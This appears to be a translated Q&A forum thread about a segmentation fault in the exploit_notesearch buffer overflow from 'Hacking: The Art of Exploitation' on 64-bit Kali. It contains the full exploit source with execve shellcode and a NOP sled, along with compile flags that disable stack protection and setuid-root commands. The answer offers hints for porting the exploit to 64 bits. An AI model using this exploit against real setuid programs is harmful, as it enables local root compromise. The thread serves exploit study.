关于C#:为什么在” Hacking:剥削的艺术”中的exploit_notesearch程序中出现细分错误?

Why do I get a segmentation fault in the exploit_notesearch program from “Hacking: The Art of Exploitation”?

因此,首先,我使用的是Kali 2020.1,已全面更新。 64位。
源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include"hacking.h"
#include <unistd.h>
#include <stdlib.h>
char shellcode[]=
"\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x99\\xb0\\xa4\\xcd\\x80\\x6a\\x0b\\x58\\x51\\x68"
"\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x51\\x89\\xe2\\x53\\x89"
"\\xe1\\xcd\\x80";

int main(int argc, char *argv[]) {
    long int i, *ptr, ret, offset=270;
    char *command, *buffer;
    command = (char *) malloc(200);

    bzero(command, 200); // Zero out the new memory.
    strcpy(command,"./notesearch \'"); // Start command buffer.
    buffer = command + strlen(command); // Set buffer at the end.
    if(argc > 1) // Set offset.
        offset = atoi(argv[1]);
    ret = (long int) &i - offset; // Set return address.

    for(i=0; i < 160; i+=4) // Fill buffer with return address.
        *((unsigned int *)(buffer+i)) = ret;

   memset(buffer, 0x90, 60); // Build NOP sled.
   memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
   strcat(command,"\'");
   system(command); // Run exploit.
   free(command);
}

现在,有一些重要的说明。我包括了所有这些库,因为如果没有它们,编译会发出警告。
前面的notetaker和notesearch程序以及exploit_notesearch程序在终端中的编译如下:

1
gcc -g -mpreferred-stack-boundary=4 -no-pie -fno-stack-protector -Wl,-z,norelro -z execstack -o exploit_notesearch exploit_notesearch.c

我不再记得说我必须以这种方式进行编译的源代码(它们的首选堆栈边界是2,但是我的机器要求它在4到12之间)。而且,您可以看到,该堆栈现在是可执行的。

所有3个程序(记事本,notesearch和exploit_notesearch)的权限均如书中所述:

1
2
sudo chown root:root ./program_name
sudo chmod u+s ./program_name

我尝试了以下链接提供的解决方案:调试缓冲区溢出示例,但无济于事。此链接也一样:ShellCode Exploit

不够快

在使用for循环的终端中通过使用1、10、20和30的增量将偏移量从0逐渐更改为330,也不能解决我的问题。无论我做什么,我都会遇到细分错误。

在我的情况下可能是什么问题,什么是克服上述问题的最佳方法?谢谢。

P.S我记得读过我应该使用64位shellcode而不是提供的代码。


进行段故障诊断时,现在是在像GDB这样的调试器中运行它的好时机。它应该告诉您崩溃的正确位置,并且可以逐步执行并验证您所做的假设。最常见的段错误往往是无效的内存权限(例如尝试执行不可执行的页面)或无效的指令(例如,如果您位于shellcode的中间,而不是NOP底座)。

您在尝试将漏洞转换为32位工作时遇到了两个问题。当用返回地址填充缓冲区时,当64位指针实际上是8个字节时,它将使用常量4

1
2
for(i=0; i < 160; i+=4) // Fill buffer with return address.
    *((unsigned int *)(buffer+i)) = ret;

在尝试利用strcpy错误时,这也可能会带来一些问题,因为那些64位地??址将包含NULL字节(因为可用的地址空间仅使用8个字节中的6个)。因此,如果在实际覆盖堆栈上的返回地址之前有一些过早的NULL字节,则实际上将不会复制足够的数据来按预期利用溢出。